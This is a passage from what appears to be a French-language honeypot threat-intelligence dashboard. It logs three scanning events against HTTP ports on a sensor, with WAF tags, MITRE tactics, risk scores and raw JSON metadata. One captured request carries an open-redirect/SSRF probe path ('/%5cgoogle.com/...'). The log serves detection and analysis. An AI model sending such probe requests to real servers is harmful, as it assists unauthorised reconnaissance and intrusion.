"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:39:05 UTC
TCP
8300 · HTTP
SSRF interne
ssrf internal · via HTTP:8300 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8300
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8300
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8300 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "4ef20c60a6c55dbe2a74caafa3ca53cc8e64b6d2",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.38250810311718,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8300,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "11705a03a5d3575045de7c251519ab0c47172f99",
"event_fingerprint": "9a077907caab4a497af1233b2fd2c59f903dedf1",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "9eff8b84d6564c688282a84f787f0a54",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8300,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b2822edd8e4adc725439395cb812fe1acb96bf9c",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8300,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8300 \u00b7 (tentative d'exploit)",
"target_port_label": "8300 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8300,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8300,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8300 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8300 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8300"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 6,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:38:47 UTC
TCP
8200 · HTTP
SSRF interne
ssrf internal · via HTTP:8200 · (tentative d'exploit) · → /%5cgoogle.com/4af206ebd4.html
Élevée
Moyen · 58
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET /%5cgoogle.com/4af206ebd4.html UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/%5cgoogle.com/4af206ebd4.html
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8200
Chemin / cible
/%5cgoogle.com/4af206ebd4.html
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 58
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8200
Accept: */*
User-Agent: Mozi
Requête brute (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8200 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "html",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c6008d4edabeb39bfcb7d799569622afcd6dbf62",
"http_target_hash": "eef7221f84d0c9d32bcbdb1de8e88a4ee8ae2719",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 245,
"payload_entropy": 5.4494093193827915,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8200,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 58,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "9052bb4d74b5924a2761adef40c34df0662d3fea",
"event_fingerprint": "85b23e7cc49b47b80b5fb5f8e6a0da30b009d0bc",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 58,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "db70eca3570b6c513d18ee4dcbf1d3d9",
"path_pattern_hash": "1ff0d8dcf831a076b212dbddfef2a545"
},
"target_context": {
"dst_port": 8200,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"payload_preview": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"evidence": {
"method": "GET",
"path": "\/%5cgoogle.com\/4af206ebd4.html",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"request_sample": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b611088f504cb4885b4e9c13d7ac630f5fed48d3",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8200,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"attack_vector": "ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"target_port_label": "8200 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 58,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8200,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/%5cgoogle.com\/4af206ebd4.html",
"request_line": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8200,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html",
"evidence_snippet": "GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\r\nAccept: *\/*\r\nUser-Agent: Mozi",
"target_port_label": "8200 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8200"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 5,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 2,
"behavior_priority": 84
}
31/07/2026 15:36:09 UTC
TCP
8098 · HTTP
Scan de ports
port scan syn · via HTTP:8098 · (reconnaissance)
Élevée
Moyen · 53
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8098
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +24
Risque capteur
Moyen
· 53
Confiance : Confiance 100 % — 3 tag(s) WAF
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8098
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8098 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "85c47ddeb33f86ad31706848f828b6c859fd8929",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.3666559632548365,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8098,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 25,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15
},
"risk_score": 53,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "f619c107fa0c70395daa9c6ab94ad49bb60c1bce",
"event_fingerprint": "6eb627d83d39abbafc7bf052c78fdedabc2bd43f",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 24
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "06493cb184ff7bdebabcd050e62bafbb",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8098,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
